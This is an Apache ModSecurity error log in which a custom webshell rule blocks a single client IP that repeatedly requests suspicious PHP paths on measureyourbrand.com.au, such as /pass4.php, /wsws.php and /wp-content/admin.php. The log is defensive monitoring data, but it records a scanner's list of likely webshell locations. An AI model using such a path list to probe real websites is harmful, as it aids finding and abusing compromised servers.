[Sun Mar 01 15:57:18.415105 2026] [:error] [pid 41780:tid 41806] [client 4.204.200.32:18320] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pass4.php"] [unique_id "aaPxXsONkVoocLIqzy0TVQAAA9c"]
[Sun Mar 01 15:57:18.843745 2026] [:error] [pid 38034:tid 38056] [client 4.204.200.32:18403] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pass4.php"] [unique_id "aaPxXgxtfZjwlJok9K_KVQAAARI"]
[Sun Mar 01 15:57:19.256596 2026] [:error] [pid 41967:tid 41993] [client 4.204.200.32:18378] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wsws.php"] [unique_id "aaPxX4O1bqY181I02eGR5gAAAJg"]
[Sun Mar 01 15:57:19.714334 2026] [:error] [pid 38034:tid 38060] [client 4.204.200.32:18395] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wsws.php"] [unique_id "aaPxXwxtfZjwlJok9K_KWAAAARY"]
[Sun Mar 01 15:57:20.124512 2026] [:error] [pid 7133:tid 7138] [client 4.204.200.32:18343] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wsws.php"] [unique_id "aaPxYPCtubh8pR64qB_KAQAAAEM"]
[Sun Mar 01 15:57:20.558683 2026] [:error] [pid 38241:tid 38264] [client 4.204.200.32:18315] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wsws.php"] [unique_id "aaPxYPKRPk6YnJBxw_xbcwAAANQ"]
[Sun Mar 01 15:57:20.983298 2026] [:error] [pid 38241:tid 38254] [client 4.204.200.32:18305] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/G-in.php"] [unique_id "aaPxYPKRPk6YnJBxw_xbdgAAAMo"]
[Sun Mar 01 15:57:21.400312 2026] [:error] [pid 38241:tid 38256] [client 4.204.200.32:18355] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/G-in.php"] [unique_id "aaPxYfKRPk6YnJBxw_xbeQAAAMw"]
[Sun Mar 01 15:57:21.815757 2026] [:error] [pid 38241:tid 38249] [client 4.204.200.32:18351] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/G-in.php"] [unique_id "aaPxYfKRPk6YnJBxw_xbfQAAAMU"]
[Sun Mar 01 15:57:22.224883 2026] [:error] [pid 38241:tid 38256] [client 4.204.200.32:18317] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/G-in.php"] [unique_id "aaPxYvKRPk6YnJBxw_xbgAAAAMw"]
[Sun Mar 01 15:57:22.636976 2026] [:error] [pid 38034:tid 38039] [client 4.204.200.32:18334] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/edit.php"] [unique_id "aaPxYgxtfZjwlJok9K_KXgAAAQM"]
[Sun Mar 01 15:57:23.055423 2026] [:error] [pid 38241:tid 38260] [client 4.204.200.32:18365] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/edit.php"] [unique_id "aaPxY_KRPk6YnJBxw_xbiAAAANA"]
[Sun Mar 01 15:57:23.475933 2026] [:error] [pid 37032:tid 37047] [client 4.204.200.32:18328] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/edit.php"] [unique_id "aaPxY-u0U4o7eSImsVRPJgAAAY0"]
[Sun Mar 01 15:57:23.900903 2026] [:error] [pid 37032:tid 37036] [client 4.204.200.32:18364] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/edit.php"] [unique_id "aaPxY-u0U4o7eSImsVRPKAAAAYI"]
[Sun Mar 01 15:57:24.314599 2026] [:error] [pid 38241:tid 38263] [client 4.204.200.32:18426] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/loxi-o.php"] [unique_id "aaPxZPKRPk6YnJBxw_xbjQAAANM"]
[Sun Mar 01 15:57:24.732046 2026] [:error] [pid 44644:tid 44647] [client 4.204.200.32:18390] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/loxi-o.php"] [unique_id "aaPxZJ3RJaXMcw3y9V-zBwAAAAA"]
[Sun Mar 01 15:57:25.150948 2026] [:error] [pid 38241:tid 38267] [client 4.204.200.32:18309] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/loxi-o.php"] [unique_id "aaPxZfKRPk6YnJBxw_xblAAAANc"]
[Sun Mar 01 15:57:25.560705 2026] [:error] [pid 38241:tid 38248] [client 4.204.200.32:18245] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/loxi-o.php"] [unique_id "aaPxZfKRPk6YnJBxw_xbpQAAAMQ"]
[Sun Mar 01 15:57:25.975048 2026] [:error] [pid 38241:tid 38258] [client 4.204.200.32:18359] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/admin.php"] [unique_id "aaPxZfKRPk6YnJBxw_xbqgAAAM4"]
[Sun Mar 01 15:57:26.401311 2026] [:error] [pid 44644:tid 44647] [client 4.204.200.32:18342] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/admin.php"] [unique_id "aaPxZp3RJaXMcw3y9V-zFwAAAAA"]
[Sun Mar 01 15:57:26.812952 2026] [:error] [pid 44644:tid 44667] [client 4.204.200.32:18419] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/admin.php"] [unique_id "aaPxZp3RJaXMcw3y9V-zGQAAABQ"]
[Sun Mar 01 15:57:27.230438 2026] [:error] [pid 44644:tid 44658] [client 4.204.200.32:18340] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/admin.php"] [unique_id "aaPxZ53RJaXMcw3y9V-zGwAAAAs"]
[Sun Mar 01 15:57:27.646118 2026] [:error] [pid 38241:tid 38262] [client 4.204.200.32:18321] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/66.php"] [unique_id "aaPxZ_KRPk6YnJBxw_xbvAAAANI"]
[Sun Mar 01 15:57:28.056219 2026] [:error] [pid 44644:tid 44651] [client 4.204.200.32:18183] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/66.php"] [unique_id "aaPxaJ3RJaXMcw3y9V-zHQAAAAQ"]
[Sun Mar 01 15:57:28.469328 2026] [:error] [pid 38034:tid 38053] [client 4.204.200.32:18425] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/66.php"] [unique_id "aaPxaAxtfZjwlJok9K_KdgAAAQ8"]
[Sun Mar 01 15:57:28.879982 2026] [:error] [pid 38241:tid 38259] [client 4.204.200.32:18417] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/66.php"] [unique_id "aaPxaPKRPk6YnJBxw_xbyQAAAM8"]
[Sun Mar 01 15:57:29.288549 2026] [:error] [pid 38034:tid 38038] [client 4.204.200.32:18372] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/js/tinymce/themes/inlite"] [unique_id "aaPxaQxtfZjwlJok9K_KeQAAAQI"]
[Sun Mar 01 15:57:29.700938 2026] [:error] [pid 38034:tid 38043] [client 4.204.200.32:18316] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/js/tinymce/themes/inlite"] [unique_id "aaPxaQxtfZjwlJok9K_KewAAAQU"]
[Sun Mar 01 15:57:30.109469 2026] [:error] [pid 44644:tid 44668] [client 4.204.200.32:18381] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/js/tinymce/themes/inlite"] [unique_id "aaPxap3RJaXMcw3y9V-zIgAAABU"]
[Sun Mar 01 15:57:30.531883 2026] [:error] [pid 38241:tid 38261] [client 4.204.200.32:18247] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/js/tinymce/themes/inlite"] [unique_id "aaPxavKRPk6YnJBxw_xb1wAAANE"]
[Sun Mar 01 15:57:30.950937 2026] [:error] [pid 38241:tid 38254] [client 4.204.200.32:18281] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/olfclass.php"] [unique_id "aaPxavKRPk6YnJBxw_xb3wAAAMo"]
[Sun Mar 01 15:57:31.378114 2026] [:error] [pid 44644:tid 44649] [client 4.204.200.32:18241] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/olfclass.php"] [unique_id "aaPxa53RJaXMcw3y9V-zJAAAAAI"]
[Sun Mar 01 15:57:31.793713 2026] [:error] [pid 38034:tid 38038] [client 4.204.200.32:18336] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/olfclass.php"] [unique_id "aaPxawxtfZjwlJok9K_KgQAAAQI"]
[Sun Mar 01 15:57:32.205167 2026] [:error] [pid 38034:tid 38039] [client 4.204.200.32:18293] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/olfclass.php"] [unique_id "aaPxbAxtfZjwlJok9K_KgwAAAQM"]
[Sun Mar 01 15:57:32.627492 2026] [:error] [pid 7133:tid 7146] [client 4.204.200.32:18246] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/file59.php"] [unique_id "aaPxbPCtubh8pR64qB_KBwAAAEs"]
[Sun Mar 01 15:57:33.038829 2026] [:error] [pid 38241:tid 38267] [client 4.204.200.32:18361] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/file59.php"] [unique_id "aaPxbfKRPk6YnJBxw_xb9AAAANc"]
[Sun Mar 01 15:57:33.453081 2026] [:error] [pid 44644:tid 44667] [client 4.204.200.32:18424] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/file59.php"] [unique_id "aaPxbZ3RJaXMcw3y9V-zJQAAABQ"]
[Sun Mar 01 15:57:33.861589 2026] [:error] [pid 38241:tid 38256] [client 4.204.200.32:18294] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/file59.php"] [unique_id "aaPxbfKRPk6YnJBxw_xb_wAAAMw"]
[Sun Mar 01 15:57:34.271687 2026] [:error] [pid 38241:tid 38263] [client 4.204.200.32:18325] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/fff.php"] [unique_id "aaPxbvKRPk6YnJBxw_xcBQAAANM"]
[Sun Mar 01 15:57:34.694264 2026] [:error] [pid 38034:tid 38051] [client 4.204.200.32:18311] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/fff.php"] [unique_id "aaPxbgxtfZjwlJok9K_KigAAAQ0"]
[Sun Mar 01 15:57:35.103838 2026] [:error] [pid 38241:tid 38264] [client 4.204.200.32:18401] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/fff.php"] [unique_id "aaPxb_KRPk6YnJBxw_xcDQAAANQ"]
[Sun Mar 01 15:57:35.544472 2026] [:error] [pid 38241:tid 38252] [client 4.204.200.32:18256] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/fff.php"] [unique_id "aaPxb_KRPk6YnJBxw_xcFQAAAMg"]
[Sun Mar 01 15:57:35.982762 2026] [:error] [pid 38241:tid 38268] [client 4.204.200.32:18177] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/nw.php"] [unique_id "aaPxb_KRPk6YnJBxw_xcGQAAANg"]
[Sun Mar 01 15:57:36.404165 2026] [:error] [pid 38034:tid 38040] [client 4.204.200.32:18335] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/nw.php"] [unique_id "aaPxcAxtfZjwlJok9K_KkQAAAQQ"]
[Sun Mar 01 15:57:36.818188 2026] [:error] [pid 38034:tid 38062] [client 4.204.200.32:18259] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/nw.php"] [unique_id "aaPxcAxtfZjwlJok9K_KkwAAARg"]
[Sun Mar 01 15:57:37.235503 2026] [:error] [pid 38241:tid 38254] [client 4.204.200.32:18248] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/nw.php"] [unique_id "aaPxcfKRPk6YnJBxw_xcJQAAAMo"]
[Sun Mar 01 15:57:37.652152 2026] [:error] [pid 38241:tid 38249] [client 4.204.200.32:18242] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/X57.php"] [unique_id "aaPxcfKRPk6YnJBxw_xcLAAAAMU"]
[Sun Mar 01 15:57:38.061204 2026] [:error] [pid 38241:tid 38268] [client 4.204.200.32:18296] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/X57.php"] [unique_id "aaPxcvKRPk6YnJBxw_xcLwAAANg"]
[Sun Mar 01 15:57:38.471972 2026] [:error] [pid 38034:tid 38050] [client 4.204.200.32:18252] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/X57.php"] [unique_id "aaPxcgxtfZjwlJok9K_KmAAAAQw"]
[Sun Mar 01 15:57:38.883378 2026] [:error] [pid 38034:tid 38056] [client 4.204.200.32:18362] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/X57.php"] [unique_id "aaPxcgxtfZjwlJok9K_KmwAAARI"]
[Sun Mar 01 15:57:39.298316 2026] [:error] [pid 42619:tid 42644] [client 4.204.200.32:18345] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wpver.php"] [unique_id "aaPxcx_zUXcYaZE4AOeWfQAAAVc"]
[Sun Mar 01 15:57:39.709726 2026] [:error] [pid 38034:tid 38040] [client 4.204.200.32:18353] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wpver.php"] [unique_id "aaPxcwxtfZjwlJok9K_KoQAAAQQ"]
[Sun Mar 01 15:57:40.119275 2026] [:error] [pid 44644:tid 44655] [client 4.204.200.32:18391] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wpver.php"] [unique_id "aaPxdJ3RJaXMcw3y9V-zLAAAAAg"]
[Sun Mar 01 15:57:40.574073 2026] [:error] [pid 42619:tid 42638] [client 4.204.200.32:18298] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wpver.php"] [unique_id "aaPxdB_zUXcYaZE4AOeWgQAAAVE"]
[Sun Mar 01 15:57:40.984894 2026] [:error] [pid 38034:tid 38051] [client 4.204.200.32:18352] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/public/hi.php"] [unique_id "aaPxdAxtfZjwlJok9K_KpQAAAQ0"]
